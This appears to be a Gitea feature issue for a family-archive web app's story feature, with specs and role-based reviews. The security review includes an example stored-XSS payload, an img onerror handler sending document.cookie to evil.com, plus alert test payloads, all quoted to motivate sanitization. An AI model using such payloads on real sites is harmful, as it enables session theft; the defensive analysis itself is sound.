feat: Geschichten — blog-like family memory stories linked to persons and documents #381
Reference in New Issue
Block a user
Delete Branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Context
Family members remember stories about the people who wrote these letters — anecdotes, memories, things that happened between the lines. The archive currently captures what was written; this feature captures what was remembered. Some stories are prompted by a specific document, some are standalone. Both kinds deserve a home.
Persona
Die Familienchronistin (BLOG_WRITER): An older family member with Kurrent literacy who transcribes letters and wants to attach the living memory she carries to the archive. Works on laptop/tablet.
Die neugierige Enkelin (reader): A younger family member who discovers the archive on her phone and wants to understand who her ancestors actually were — beyond the handwriting.
Jobs-to-be-Done
Feature Scope
New permission
BLOG_WRITE— assignable to UserGroups by ADMIN only. Any user whose group holds this permission can create, edit, and delete any story (shared authorship model within the group).Data model —
Geschichteentityidtitlebody<p>)statusDRAFT/PUBLISHEDDRAFTauthorpersonsdocumentscreatedAtupdatedAtpublishedAtUser Stories & Acceptance Criteria
US-BLOG-001 — Create and save a draft story
As a BLOG_WRITER, I want to create a new story with a title and rich-text body and save it as a draft, so that I can work on it over multiple sessions before publishing.
Given I have
BLOG_WRITEpermission, when I navigate to/geschichten, then I see a "Neue Geschichte" button.Given I click "Neue Geschichte", when the editor opens, then it contains a title field and a rich-text body editor supporting bold, italic, and paragraph breaks.
Given I have entered at least a title, when I click "Entwurf speichern", then the story is saved with status
DRAFTand is invisible to readers.Given a story is saved as
DRAFT, when I navigate away and return to edit it, then all content is preserved exactly.Given I have not entered a title, when I click "Entwurf speichern", then saving is blocked with inline error: "Bitte gib einen Titel ein."
US-BLOG-002 — Attach persons and documents to a story
As a BLOG_WRITER, I want to search for and attach historical persons and documents to a story, so that readers can discover it from those persons' and documents' detail pages.
Given I am editing a story, when I type in the person search field, then matching
Personentities from the archive appear (same persons who appear as senders/receivers).Given I select a person, when the story is saved, then that person appears as a chip and is stored as a reference.
Given I am editing a story, when I type in the document search field, then matching documents appear by title and date.
Given I have attached a person or document chip, when I click ×, then it is removed from the story.
Given a story has no person and no document attached, when I save or publish, then the system accepts it — both fields are optional.
US-BLOG-003 — Publish a story
As a BLOG_WRITER, I want to publish a finished story, so that all logged-in family members can read it.
Given I am editing a
DRAFTstory, when I click "Veröffentlichen", then status →PUBLISHED,publishedAtis set, and the story becomes visible to all logged-in users.Given a story is
PUBLISHED, when I edit and save it, then changes are immediately live — no re-publish step required.Given a story is
PUBLISHED, when I click "Zurück zu Entwurf", then status →DRAFTand the story disappears from reader views immediately.US-BLOG-004 — Browse the Geschichten index page
As a reader, I want to browse all published stories and filter by person, so that I can find memories about a specific ancestor.
Given I am logged in, when I navigate to
/geschichten, then I see allPUBLISHEDstories as cards showing: title, author name, publication date, and a 150-character excerpt.Given the page is loaded, when I select a person from the filter, then only stories referencing that person are shown.
Given no stories match the active filter, when the list renders, then empty state: "Keine Geschichten für diese Person gefunden."
Given I click a story card, when the story opens, then full title, body, author name, publication date, referenced persons (as chips/links), and referenced documents (as links to their detail pages) are all visible.
US-BLOG-005 — Discover stories from a document detail page
As a reader, I want to see related stories when viewing a document, so that I find the human memory connected to a letter without a separate search.
Given a document has ≥1
PUBLISHEDstory referencing it, when I open the document detail page, then a "Geschichten" section is visible showing story title(s) and author(s).Given I click a story title in that section, when it opens, then I see the full story.
Given a document has no published stories, when I view the document detail page, then no "Geschichten" section is shown (no empty state needed — silence is correct).
US-BLOG-006 — Edit or delete any story (BLOG_WRITER)
As a BLOG_WRITER, I want to edit or delete any story regardless of who wrote it, so that the historian group can collectively maintain story quality.
Given I have
BLOG_WRITE, when I view any story, then I see "Bearbeiten" and "Löschen" buttons.Given I click "Löschen", when a confirmation dialog appears and I confirm, then the story is permanently deleted and removed from all views.
System Rules (EARS)
REQ-AUTH-001: The system shall define a
BLOG_WRITEpermission assignable to any UserGroup by an ADMIN.REQ-AUTH-002: When a user's group does not include
BLOG_WRITE, the system shall not returnDRAFTstories from any API endpoint and shall not render story creation or editing controls.REQ-BLOG-001: When a story's status changes to
PUBLISHED, the system shall setpublishedAtto the current timestamp.REQ-BLOG-002: When a story is deleted, the system shall remove all person and document references associated with it.
Non-Functional Requirements
DRAFTstories must never be returned by any API endpoint to users withoutBLOG_WRITE— enforce at service layer, not just controller/geschichtenindex and story detail pages must be fully usable on mobile (≤768px) — readers are primarily on phones/geschichtenindex page must load within 2 s on a typical broadband connectionNavigation
/geschichten(index) and/geschichten/[id](detail).Out of scope (Release 2)
🏛️ Markus Keller — Application Architect
Observations
controller/,service/,repository/,model/— but that's layer-first. The correct approach per our standards is ageschichten/feature package containingGeschichteController,GeschichteService,GeschichteRepository,Geschichteentity, andGeschichteUpdateDTO. Don't scatter across existing layer packages.BLOG_WRITEmust be added toPermission.java(security/Permission.java). ThePermissionAspectworks via enum name matching — a string typo in any other approach would silently fail open.GeschichteServicemust callPersonService.getById()andDocumentService.getById()— never injectPersonRepositoryorDocumentRepositorydirectly. This boundary is already established and must hold.V57__add_tbmp_unique_constraint.sql. New migration isV58__add_geschichten.sql. Needs:geschichtentable,geschichten_personsjoin table,geschichten_documentsjoin table, index on(status, published_at DESC)for the index page query.hasBlogWrite: The nav shows "Geschichten" to all users, but the "Neue Geschichte" button needs the layout to expose ahasBlogWriteboolean — same pattern asisAdminin+layout.svelte. The load function needs to derive this fromuser.groups[].permissions.Recommendations
(status, published_at DESC)index in V58 from day one — the index page always filters byPUBLISHED, and leaving it as a full-table scan will hurt as stories accumulate.bodyfield is HTML — define a databaseCHECK (length(body) <= 50000)constraint in V58 rather than leaving it unbounded. Pick a number now and enforce it at the DB layer.GeschichteUpdateDTOcovers both create and update (all fields optional) — mirrors the existingDocumentUpdateDTOpattern.Open Decisions
👨💻 Felix Brandt — Senior Fullstack Developer
Observations
PersonTypeaheadandPersonMultiSelectare the right building blocks for the person attachment in US-BLOG-002 — don't reinvent them.PersonMultiSelectgives the chip + remove UX out of the box.@tiptap/starter-kit) is the pragmatic choice for Svelte because it's headless (we control all styling) and has a tiny API surface for this scope. A customcontenteditablewould be underspecified and unmaintainable.+page.svelteorchestrator, then:GeschichteEditor.svelte(title + rich text + publish controls),PersonAttachment.svelte(wraps PersonMultiSelect),DocumentAttachment.svelte(document search chips),GeschichteCard.svelte(index page card: title, author, date, excerpt).$derivedfor editor state:const canPublish = $derived(title.trim().length > 0),const isDraft = $derived(status === 'DRAFT'). Don't compute these inline in the template.GeschichteServicefollows the existing pattern —@Service @RequiredArgsConstructor @Slf4j, write methods@Transactional, read methods not annotated.GESCHICHTE_NOT_FOUNDinErrorCode.java,errors.ts, andmessages/de.json.Recommendations
@tiptap/starter-kitscoped toBold,Italic,Paragraph— configureStarterKitwith everything disabled except those three. This keeps the HTML output minimal and predictable for the sanitizer.GeschichteServiceTest(Mockito, unit) →GeschichteControllerTest(@WebMvcTest) →GeschichteIntegrationTest(Testcontainers). The service test must cover: draft invisible to non-BLOG_WRITE, publish setspublishedAt, delete cascades references.createTypeahead(the existing hook at$lib/hooks/useTypeahead.svelte) against/api/documents?q=— no new infrastructure needed.Open Decisions
contenteditablediv withdocument.execCommand(deprecated, browser-inconsistent, but zero dependencies). Tiptap is the safer long-term bet.🔒 Nora "NullX" Steiner — Security Engineer
Observations
Critical: Stored XSS via rich text body
The
bodyfield is rich text HTML stored in PostgreSQL and rendered in the browser. This is a stored XSS attack surface — a BLOG_WRITER could store<script>alert(1)</script>or<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>. Since all logged-in users render stories, a single injected payload hits every family member.Two layers are required:
<p>,<strong>,<em>,<br>— nothing else. Reject the save if sanitization removes structural content.{@html body}in Svelte (needed for rich text), but pass through DOMPurify first:{@html DOMPurify.sanitize(story.body, { ALLOWED_TAGS: ['p', 'strong', 'em', 'br'] })}.Both layers are needed — the backend sanitizer prevents database-level poisoning; the frontend sanitizer is the last line of defense if the API is called directly.
DRAFT exposure (NFR-SEC-001)
The issue correctly identifies the risk. Implementation must enforce this at the service layer, not the controller:
Returning 403 for a DRAFT confirms the story exists. Returning 404 is the correct security behavior.
Permission boundary tests needed
The
PermissionAspectenforces@RequirePermissionat the method level — confirmed from the source. Every write endpoint needs an explicit@WebMvcTesttest with a user missingBLOG_WRITEthat assertsstatus().isForbidden(). Don't trust AOP without a failing test.Recommendations
OWASP Java HTML Sanitizertopom.xml. Configure a strictPolicyFactorywith the exact allowlist. Apply inGeschichteServiceon every create/update before persistence.dompurifyto frontend deps. Create a$lib/utils/sanitize.tshelper:export const safeHtml = (raw: string) => DOMPurify.sanitize(raw, ...). Always use this helper — never{@html raw}directly.POST /api/geschichten(unauthenticated → 401, READ_ALL only → 403),PUT /api/geschichten/{id}(same),DELETE /api/geschichten/{id}(same).🧪 Sara Holt — QA Engineer
Observations
Missing acceptance criteria / edge cases not covered by the spec:
publishedAton re-publish: A story goes DRAFT → PUBLISHED → DRAFT → PUBLISHED. DoespublishedAtupdate to the second publish timestamp, or keep the first? The EARS rule says "setpublishedAtto the current timestamp" on status change to PUBLISHED — which implies it updates. Confirm this is intentional.<p><strong>Opa Franz</strong> war...</p>would include the HTML tags. The excerpt must be stripped to plain text before truncation. This is a concrete implementation constraint missing from the spec.REQ-BLOG-002for deletion of a Geschichte, but not for deletion of a referenced document.geschichten_documentsjoin table should useON DELETE CASCADE— confirm this is the intended behavior.@Versionfield). This is acceptable for a family app, but should be explicitly noted as a known limitation.Test Strategy (by layer)
Unit (
GeschichteServiceTest):should_return_only_published_for_readershould_return_draft_to_blog_writershould_set_publishedAt_when_status_becomes_publishedshould_throw_notFound_for_draft_when_user_lacks_BLOG_WRITEshould_cascade_delete_person_and_document_referencesIntegration (
GeschichteControllerTestwith@WebMvcTest):POST /api/geschichten→ 201 with BLOG_WRITE, 403 withoutGET /api/geschichten/{id}→ DRAFT returns 404 to reader, 200 to BLOG_WRITERE2E (Playwright):
Recommendations
Given published story is unpublished, when a reader hits the direct story URL, then they receive a 404AC to US-BLOG-003 — currently the spec only describes the index page disappearing.🎨 Leonie Voss — UX Designer & Accessibility Strategist
Observations
Navigation
The issue says "Geschichten" visible to all logged-in users. Looking at
AppNav.svelte, the pattern is clear — it needs a new<a href="/geschichten">link in both the desktop nav and the mobile nav panel, with the active state class (border-b-2 border-accent text-white). It gets a Paraglide keynav_geschichten. The "Neue Geschichte" button on the index page checkshasBlogWrite(derived in layout fromuser.groups[].permissions.includes('BLOG_WRITE')) — same pattern asisAdmin.Rich text editor — senior audience risk
Die Familienchronistin is 60+, on a laptop/tablet. A rich text toolbar that hides behind a hover menu or collapses on small viewports is a usability failure for this persona. The toolbar (Bold, Italic buttons) must be permanently visible, with 44px minimum touch targets on each control. Icon-only toolbar buttons need
aria-labelor visible text labels — seniors do not recognise the "B" icon as bold.Person filter on index page
A
<select>populated from the persons API is more accessible than a typeahead for this use case. Filtering is not creation — the user picks from a known list. A<select>renders natively on mobile, respects OS accessibility settings, and needs zero custom keyboard handling. Reserve typeaheads for the editor's attachment inputs (where the list can be huge and search is needed).Story card excerpt
The excerpt must be plain text (HTML stripped). Rendering
<strong>in a 150-char card preview is garbled and visually broken. Body text in cards: minimum 16px (text-base), Merriweather (font-serif),line-clamp-3is acceptable if the full text is accessible on the detail page."Zurück zu Entwurf" is a destructive action
Unpublishing a story removes it from all readers immediately. This should have the same confirmation dialog pattern as "Löschen" — it's reversible but has immediate visible impact for everyone. Don't make it a one-click action.
Unsaved-changes guard in editor
The editor has title, body, persons, and documents as form state. If a BLOG_WRITER navigates away without saving, they lose work silently. A
beforeunloadguard (or SvelteKit'sbeforeNavigate) is needed to prompt "Du hast ungespeicherte Änderungen — wirklich verlassen?"Recommendations
<article>as the semantic wrapper for the body content — correct landmark for long-form text content.<a href="/persons/{id}">links, not decorative<span>chips — they are navigational./geschichten: single-column card stack, full-width cards, no sidebar filter (filter collapses to a<select>above the list at ≤768px).🛠️ Tobias Wendt — DevOps & Platform Engineer
Observations
/geschichtenindex page will always filterWHERE status = 'PUBLISHED' ORDER BY published_at DESC. Without an index, this scans the fullgeschichtentable. It's cheap now (0 rows) but creates an invisible cliff. The V58 migration must include:CREATE INDEX idx_geschichten_status_published ON geschichten (status, published_at DESC) WHERE status = 'PUBLISHED'— partial index, only covers the case that matters.geschichten_personsandgeschichten_documentsjoin tables needON DELETE CASCADEon thegeschichte_idFK so that deleting a Geschichte via JPA removes the join rows automatically without orphan cleanup in the service layer.{@html ...}for the story body. If the Content-Security-Policy headers (set via Caddy in production) includescript-src 'self', inline<script>injections are blocked at the browser layer even if DOMPurify misses something. Verify the production Caddy config has a strict CSP — this is a free second layer of defense.Recommendations
geschichtenstatus belongs in V58, not added as a follow-up. Migrations are the only moment where we're certain the schema and the index are consistent./api/geschichtenlatency. No new dashboards needed for an MVP.geschichten-assetsbucket (or a prefix inarchive-documents). Flag that decision for then — don't create the bucket now.🗳️ Decision Queue — Action Required
2 decisions need your input before implementation starts.
Architecture / Data Model
bodyfield is unbounded in the current spec. A DBCHECKconstraint must be set in V58. Options: 10 000 chars (safe, covers simple family memories), 50 000 chars (covers long narrative stories), unlimited (no constraint — requires a frontend length indicator only). The limit also determines the frontend character counter UI. (Raised by: Markus)Frontend
@tiptap/starter-kit, headless, Svelte-compatible, well-maintained — Felix's recommendation) vs. no library (rawcontenteditablewithdocument.execCommand, zero deps but deprecated browser APIs and inconsistent cross-browser behaviour). Tiptap is the safer long-term bet but adds a dependency. (Raised by: Felix)🏛️ Markus Keller — Application Architect (spec review)
The four spec files resolve several earlier open questions but also introduce scope that the issue body doesn't cover. I'm flagging what changed architecturally.
Resolved by specs
contenteditable+document.execCommandover a library. No new dependency needed for MVP. The Decision Queue item is closed./geschichten/newand/geschichten/[id]/editboth useGeschichteEditor.svelte. The difference is only in the load function (empty vs populated state). This is clean.+page.server.tson the document detail page loadsgeschichtenfrom the API and passes them as a prop toDocumentMetadataDrawer. The service call should go throughGeschichteService, not a direct repository query fromDocumentController. Standard boundary.New scope introduced by specs (not in the issue)
1.
?documentId=filter on the index page.Spec D-2 shows an "Alle anzeigen" link that points to
/geschichten?documentId=xxx. US-BLOG-004 only describes a person filter —?person=UUID. The index page load function must also handle?documentId=as a filter parameter. This is a distinct query path (WHERE status = 'PUBLISHED' AND :documentId MEMBER OF g.documents) not mentioned anywhere in the issue.2. URL-param pre-fill in the editor.
Spec W-3 / P-1 / D-2 all show links like
/geschichten/new?personId={id}and/geschichten/new?documentId={id}. These imply the/newroute has a server-side load that reads these params, fetches the Person/Document by ID, and passes them as initial state to the editor. This is new server-side logic not covered by US-BLOG-001 or US-BLOG-002.3.
DocumentMetadataDrawergrid expansion.The current component (
DocumentMetadataDrawer.svelte:70) useslg:grid-cols-3. The spec addsgeschichten: Geschichte[]andcanWrite: booleanprops, and switches tolg:grid-cols-4whengeschichten.length > 0. This is a contained change but it touches an existing component that has its own test file — update both.Recommendations
GET /api/geschichten?documentId={id}&status=PUBLISHEDfilter support toGeschichteServicealongside the existing?personId=filter. One@Querymethod with nullable params handles both./geschichten/newroute needs a+page.server.tsload function (currently the spec says "Kein Load nötig") — but that's only true when no pre-fill params are present. If?personId=or?documentId=is in the URL, a load function is required to validate and fetch the entity. Guard against invalid IDs (404 → ignore pre-fill gracefully, don't crash the editor).?personIdand?documentIdfilter indexes (idx_geschichten_personson the join table) should be in V58, not added later.Open Decisions
--font-display: 'Fraunces'as a new CSS variable for Geschichten pages. The currentlayout.cssonly defines--font-sans: 'Montserrat'and--font-serif: 'Merriweather'. Scoping Fraunces to Geschichten only is possible but adds a font-loading dependency. Alternative: use the existingfont-serif(Merriweather) and accept a slightly different look. This is a product decision before implementation.👨💻 Felix Brandt — Senior Fullstack Developer (spec review)
The four spec files resolve the open decisions from my earlier review and add concrete implementation guidance. Here's what changed and what I'm watching.
Decisions resolved by specs
Rich-text editor:
contenteditable, not Tiptap. The writer-journey spec explicitly states: "Minimalescontenteditablediv oder<textarea>mitdocument.execCommandfür B/I/¶ — keine Bibliothek nötig für den MVP." My earlier recommendation for Tiptap is overruled. The Decision Queue item is closed.document.execCommandis deprecated but universally supported across current browsers — acceptable for MVP. The output HTML is simpler and more predictable for the OWASP sanitizer.Confirm service: existing, not custom. Spec W-5 confirms reuse of
getConfirmService()from$lib/services/confirm.svelte.ts(note: the spec says.jsbut the actual file is.ts). No new dialog component needed."Zurück zu Entwurf" — no confirmation dialog. Spec W-3 explicitly marks this "Bestätigung optional" because it's reversible. The earlier review flagged this as needing confirmation — the spec disagrees. PATCH
{ "status": "DRAFT" }, no dialog, instant.Implementation details confirmed by specs
personAvatarColor()at$lib/utils/personFormat.ts:75,formatDate()at$lib/utils/date.ts. Both are already tested. Use them directly.PersonMultiSelectreused in sidebar — confirmed. No changes needed to the existing component.DocumentTypeahead.svelteis new. Pattern:GET /api/documents?search={q}, chips show title + date. Model it afterPersonTypeahead.svelte.GeschichtenCard.svelteis a new shared component. Props:geschichten: Geschichte[],personId: string | undefined,canWrite: boolean. Excerpt = HTML-stripped body, first 80 chars. Use astripHtml(text: string): stringutility (new, one-liner via DOMParser).<details>element with<summary>Personen & Dokumente</summary>. No library. The chevron rotation is a CSSdetails[open] summary svg { transform: rotate(90deg) }rule.New scope from specs I'm tracking
Pre-fill from URL params (
/geschichten/new?personId=xand?documentId=x): the/newroute currently has no+page.server.ts. If either param is present, we need one to fetch and validate the entity before passing it as initial state to the editor. Pattern:The editor receives these as Svelte props and initialises its
SvelteSetstate from them.TDD order (updated for all four specs)
GeschichteServiceTest— draft/publish/retract/delete, personId/documentId filtersGeschichteControllerTest(@WebMvcTest) — CRUD + permission boundaries + pre-fill URL params resolved server-sideDocumentMetadataDrawerTest— grid switches to 4 cols whengeschichten.length > 0GeschichtenCardTest— conditional render, excerpt stripping, canWrite gateGeschichteEditorTest— save bar state derives fromstatus, pre-fill from props🔒 Nora "NullX" Steiner — Security Engineer (spec review)
The four specs add two new attack surfaces not fully addressed in my earlier review. The existing concerns (XSS, DRAFT exposure) stand — here's what's new.
New surface 1:
contenteditablepaste-injectionThe writer-journey spec resolves the rich-text editor as
contenteditable+document.execCommand. This changes the XSS threat model compared to Tiptap.contenteditablefaithfully preserves HTML that the browser generates from paste events. When a user pastes content from a webpage or email client, the browser inserts the source HTML into thecontenteditablediv — including<script>tags,styleattributes,data-attributes, and<img onerror>handlers — before any JavaScript can intercept it. Thedocument.execCommand('bold')path is safe, but clipboard paste is not.Required mitigation: intercept
pasteevents and sanitize before inserting:This strips all pasted HTML before it enters the editor. If the spec later needs "paste rich text from Word", revisit — but for MVP, plain-text paste is safer and sufficient.
The backend OWASP sanitizer remains the last line of defense regardless.
New surface 2: URL parameter entity injection
The person and document integration specs introduce pre-fill links:
/geschichten/new?personId={id}(from person page)/geschichten/new?documentId={id}(from document drawer)The editor's server-side load function must validate these IDs:
The risk is not authorization bypass (BLOG_WRITE is still checked on save) but information leakage: a malicious actor could probe
/geschichten/new?personId=Xto discover whether person ID X exists in the system. Mitigation: treat any non-200 response for a pre-fill ID as "ID not found, ignore quietly" — no error message, no HTTP status difference.Confirmed by specs
DOMPurify for rendering: the reader-journey spec impl-ref table says "kein XSS (DOMPurify)" for body text. However,
DOMPurifydoes not appear in the codebase (grep -r DOMPurifyreturns nothing). This means the spec anticipates a dependency that hasn't been added yet. Adddompurify+@types/dompurifybefore the story detail route is built.DRAFT exposure via direct URL: a reader who knows a DRAFT story's UUID could attempt
GET /geschichten/{id}. The service must return 404 (not 403) — confirmed in my earlier review. The spec doesn't mention this explicitly, but theGeschichteService.getById()guard must reflect it.Recommendations
pasteevent handler tocontenteditablefor plain-text-only paste. Test with a payload:<img src=x onerror="alert(1)">pasted from clipboard.dompurifyas a frontend dependency. Create$lib/utils/sanitize.ts:export const safeHtml = (raw: string) => DOMPurify.sanitize(raw, { ALLOWED_TAGS: ['p', 'strong', 'em', 'br'] }). Use in story detail only.@WebMvcTestforGET /api/geschichten/{id}confirming DRAFT returns 404 to a user with READ_ALL only.🧪 Sara Holt — QA Engineer (spec review)
The four specs add substantial surface area that has no AC coverage in the original issue. I'm cataloguing the gaps and the new journeys.
AC gaps introduced by the specs
Gap 1 —
?documentId=index filter (no AC)Spec D-2 shows "Alle anzeigen" linking to
/geschichten?documentId=xxx. US-BLOG-004 only specifies a person filter. There is no AC for:/geschichten?documentId=Xshows only stories referencing that documentThis is new scope that needs an AC before implementation.
Gap 2 — Pre-fill from URL params (no AC)
Specs P-1 and D-2 show "+ Geschichte schreiben/anhängen" links that navigate to
/geschichten/new?personId=Xor/geschichten/new?documentId=X. Neither US-BLOG-001 nor US-BLOG-002 has an AC for:/geschichten/new?personId=X, when the editor loads, then Person X appears as a pre-selected chipGap 3 — Person and document discovery journeys (no US)
The person and document integration specs describe complete user journeys with no corresponding user story in the issue:
These need E2E test coverage but have no AC to drive them from.
Gap 4 — "Alle anzeigen" threshold inconsistency
Spec P-1 impl-ref says the footer link appears when
geschichten.length >= 3. Spec D-2 says "wennstories.length > 3". These are different thresholds (≥3 vs >3). Before writing tests, confirm which one is correct.AC gaps from my earlier review — still open
publishedAt. REQ-BLOG-001 implies yes, but needs confirmation as a concrete AC.New E2E journeys to write
/geschichten→ filter by person pill → click story → verify referenced person chips link to/persons/{id}→ verify referenced doc cards link to/documents/{id}Recommendations
>= 3vs> 3threshold inconsistency between the two specs before V58 is written — it affects both backend limit query and frontend link visibility.AxeBuilderon both/geschichtenindex and/geschichten/[id]detail in the Playwright suite — NFR-ACC-001 requires it.🎨 Leonie Voss — UX Designer & Accessibility Strategist (spec review)
The specs are well-structured — the impl-ref tables are exactly the right level of precision for handoff. A few places where the specs conflict with my earlier review, and a few new concerns.
Where the spec overrules my earlier comments
"Zurück zu Entwurf" — no confirmation needed. I said this should have a confirmation dialog because it removes the story from reader views immediately. The spec (W-3) marks it "Bestätigung optional" and shows no dialog. On reflection, the spec is right: the action is reversible with one click ("Veröffentlichen" undoes it), and a confirmation dialog on a reversible action adds friction without real protection. My earlier analogy to "Löschen" was wrong. I withdraw that recommendation.
Person filter uses TypeAhead, not
<select>. I recommended a native<select>for the filter because the list is bounded. The spec uses filter pills + a "Person wählen" TypeAhead trigger. The spec's rationale is valid: the persons list can grow large (50+ people in a family archive). The TypeAhead is appropriate. What I need instead: ensure the "Person wählen" trigger button hasaria-label="Person filtern"so screen readers announce purpose, not just the text content.New concerns from the specs
1. Fraunces font — new dependency, visual inconsistency risk.
Both the reader and writer journey specs use
--font-display: 'Fraunces', Georgia, seriffor all story titles and the page heading. The currentlayout.csshas no--font-displayvariable and no Fraunces loading. The existingfont-serifmaps to Merriweather.Two paths:
--font-displaytolayout.css, load Fraunces via<link>in the Geschichten layout. Risk: visual dissonance between the narrative feel of Geschichten (Fraunces) and the archival feel of Documents (Merriweather). May be intentional — Geschichten are living memory, not historical record.font-serifalready gives serif authority. No new font dependency, no CLS risk, consistent with the rest of the app.This is a brand decision, not a development decision — but it needs to be made before any Geschichten page is built.
2. Turquoise contrast — flagged and accepted in spec.
The person-integration spec explicitly notes: "Turquoise (#00C7B1) auf Weiß = 2.8:1 — für diesen kleinen UI-Hinweis akzeptabel, aber kein Body-Text." This is a documented, deliberate exception for the "+ Geschichte schreiben" link at 10px. I accept it at that size. Hard rule: turquoise must never be used at ≥12px on white without re-checking contrast.
3. BottomSheet on mobile — does it exist?
The reader-journey spec (R-2) shows
… Menüon mobile opening a BottomSheet with Bearbeiten + Löschen.grep -r BottomSheetin the frontend finds nothing. This is a new component. If it's built as part of this feature, it should be designed and scoped in a separate sub-issue — the pattern will be reused elsewhere (the document page likely has the same mobile action pattern).4. Filter pills and the active state.
Spec R-1 impl-ref confirms
aria-pressed="true|false"on each pill — my earlier recommendation validated. One addition: when no filter is active, the "Alle" pill hasaria-pressed="true". When a person is selected, "Alle" getsaria-pressed="false". This needs to be explicit in the implementation so keyboard users understand the current filter state.Recommendations
<details>on mobile) for MVP.aria-label="Person filtern"to the "Person wählen" typeahead trigger button.aria-pressedimplementation covers the "Alle" pill deselection state.🛠️ Tobias Wendt — DevOps & Platform Engineer (spec review)
Short update — the specs don't change the infrastructure picture, but there are three new operational details worth noting.
Document detail page: two parallel API calls
The document-integration spec adds
geschichtenloading to the document detail page's+page.server.ts. This page currently makes one API call (GET /api/documents/{id}). After this feature it makes two in parallel:GET /api/documents/{id}(existing)GET /api/geschichten?documentId={id}&status=PUBLISHED(new)SvelteKit
Promise.allhandles this cleanly. Performance impact is negligible — both queries hit the same PostgreSQL instance, the geschichten query uses the indexed join table. No new infrastructure needed. Just confirm both calls are parallelised in the load function, not sequential.Fraunces font: Google Fonts dependency
The spec HTML files load Fraunces from
fonts.googleapis.com. If this font is adopted in the actual app, the frontend's<head>will need a<link>to Google Fonts — or the font must be self-hosted.For a family archive running on a self-hosted VPS with GDPR considerations: Google Fonts requests expose visitor IPs to Google. Self-hosting is straightforward (
fontsourcenpm package or manually download WOFF2 files). If Fraunces is adopted, self-host it. The existing Merriweather and Montserrat should be audited for the same reason.New API filter parameters
The specs introduce
GET /api/geschichten?personId={id}andGET /api/geschichten?documentId={id}. Both are read-only and use indexed FK columns on the join tables (assuming V58 creates the indexes). No new infrastructure; just backend query additions.No changes to
docker-compose.yml, no new volumes, no new services. My earlier observation stands: this feature is entirely in-process.Recommendations
+page.server.tscalls on the document detail page withPromise.all.@fontsource/frauncestopackage.jsonand serve it locally. Do not load from Google Fonts in production.📋 Elicit — Requirements Engineer (spec review)
The four spec files are high quality — impl-ref tables, visual mockups, and explicit implementation decisions are exactly what makes a spec actionable. My role here is to compare what the specs specify against what the issue acceptance criteria cover, and surface the gaps before they become undocumented scope.
Scope introduced by specs but absent from the issue
1.
?documentId=filter on the index page (untracked)Spec D-2 shows "Alle anzeigen" linking to
/geschichten?documentId=xxx. The index page (US-BLOG-004) has no acceptance criterion for document-based filtering. This is functionally distinct from the person filter — different query path, different UI (no pill shows up for it).Proposed AC addition to US-BLOG-004:
2. Pre-fill via URL query parameters (untracked)
Specs P-1 and D-2 introduce contextual entry points:
/geschichten/new?personId=Xand/geschichten/new?documentId=X. No user story covers this. It affects the/newroute's server-side load function (now requires entity validation) and the editor's initial state (chips pre-populated from URL params).Proposed new AC under US-BLOG-002:
3. "+ Geschichte schreiben/anhängen" action links (untracked)
Both integration specs show action links for BLOG_WRITERs:
These should be added to the appropriate user stories before V58 is written, otherwise the feature is partially undocumented.
4. "Alle anzeigen" threshold inconsistency (spec conflict)
Spec P-1 impl-ref:
{#if geschichten.length >= 3}(show link when 3 or more).Spec D-2 impl-ref:
only wenn stories.length > 3(show link when more than 3).These are different thresholds. One is wrong. Confirm: does the link appear at exactly 3 stories or only from 4+? Add this as a concrete test case in the acceptance criteria.
5. Mobile action pattern for BLOG_WRITER on detail page (untracked)
US-BLOG-006 states BLOG_WRITERs see "Bearbeiten and Löschen". Spec R-2 shows these move to a
… MenüBottomSheet on mobile. No AC covers this mobile variant.Proposed AC addition to US-BLOG-006:
Recommendations
>= 3vs> 3threshold inconsistency between the person and document specs before implementation. Add it as a concrete AC threshold.?documentId=filter path.✅ Decisions Resolved
Three open questions from the persona reviews are now closed.
1. Font — Merriweather (no change)
Fraunces is not adopted. Story pages use the existing
font-serif(Merriweather) like the rest of the app. No new--font-displayCSS variable, no new font dependency, no GDPR concern.2. "Alle anzeigen" threshold —
>= 3The person-spec rule wins: show the "Alle anzeigen" / "Alle Geschichten" footer link when
geschichten.length >= 3. Apply consistently to both theGeschichtenCardon/persons/[id]and the Geschichten column inDocumentMetadataDrawer.3. Rich-text editor — Tiptap (already installed)
contenteditable + execCommandis out. Tiptap is in. It is already a project dependency (@tiptap/core,@tiptap/starter-kit,@tiptap/extension-mentionat 3.22.5) — no new packages needed. This also closes the paste-injection XSS risk Nora flagged, since Tiptap controls its own input pipeline.Implementation notes:
@tiptap/starter-kitfor the writer editor (bold, italic, lists, headings are sufficient for MVP).bodyfield stores and reads HTML — thegetHTML()/setContent()API handles serialization.{@html sanitizedBody}with DOMPurify is still required even with Tiptap on the write side (defence-in-depth for any content already in the DB or imported via API).editor.chain()commands — no custom extensions needed for MVP.✅ Felix — implementation complete
PR: http://heim-nas:3005/marcel/familienarchiv/pulls/382
What's in
Original ACs (US-BLOG-001 through 006) plus all spec expansions:
?documentIdfilter on the index,?personId/?documentIdURL pre-fill on/geschichten/new, "+ Geschichte schreiben" on Person detail, "+ Geschichte anhängen" in the Document drawer,DocumentMetadataDrawer4-column expansion,GeschichtenCardon/persons/[id].Decisions encoded
/implementargument) — Bold, Italic, Paragraph, H2/H3, BulletList, OrderedList, History./implementargument).>= 3stories (#5758).font-serif(Tinos) — Fraunces is out.Test summary
persons/[id]/page.server.spec.tsupdated for the new geschichten Promise.all branch./geschichtenconfirmed with the cookie-based admin session.Branch / commits
feat/issue-381-geschichten— 15 atomic commits.Follow-up
BLOG_WRITEgranted as an admin action (local dev seeded Admins + Editor).📋 AC additions resolving Elicit's review on PR #382
Three AC gaps were flagged on the implementation PR. The behaviours are implemented and tested, but the issue body should carry the explicit ACs so future maintainers don't read the route handling as "ignore unknown URL params" instead of "silently ignore". Proposed additions:
Append to US-BLOG-003 (publish flow)
Append to US-BLOG-004 (browse the index)
Append to US-BLOG-002 (attach persons & documents)
These mirror the integration test in
GeschichteServiceIntegrationTest, the index+page.server.tsfilter handling, and the silent-ignore behaviour Nora flagged in #5746.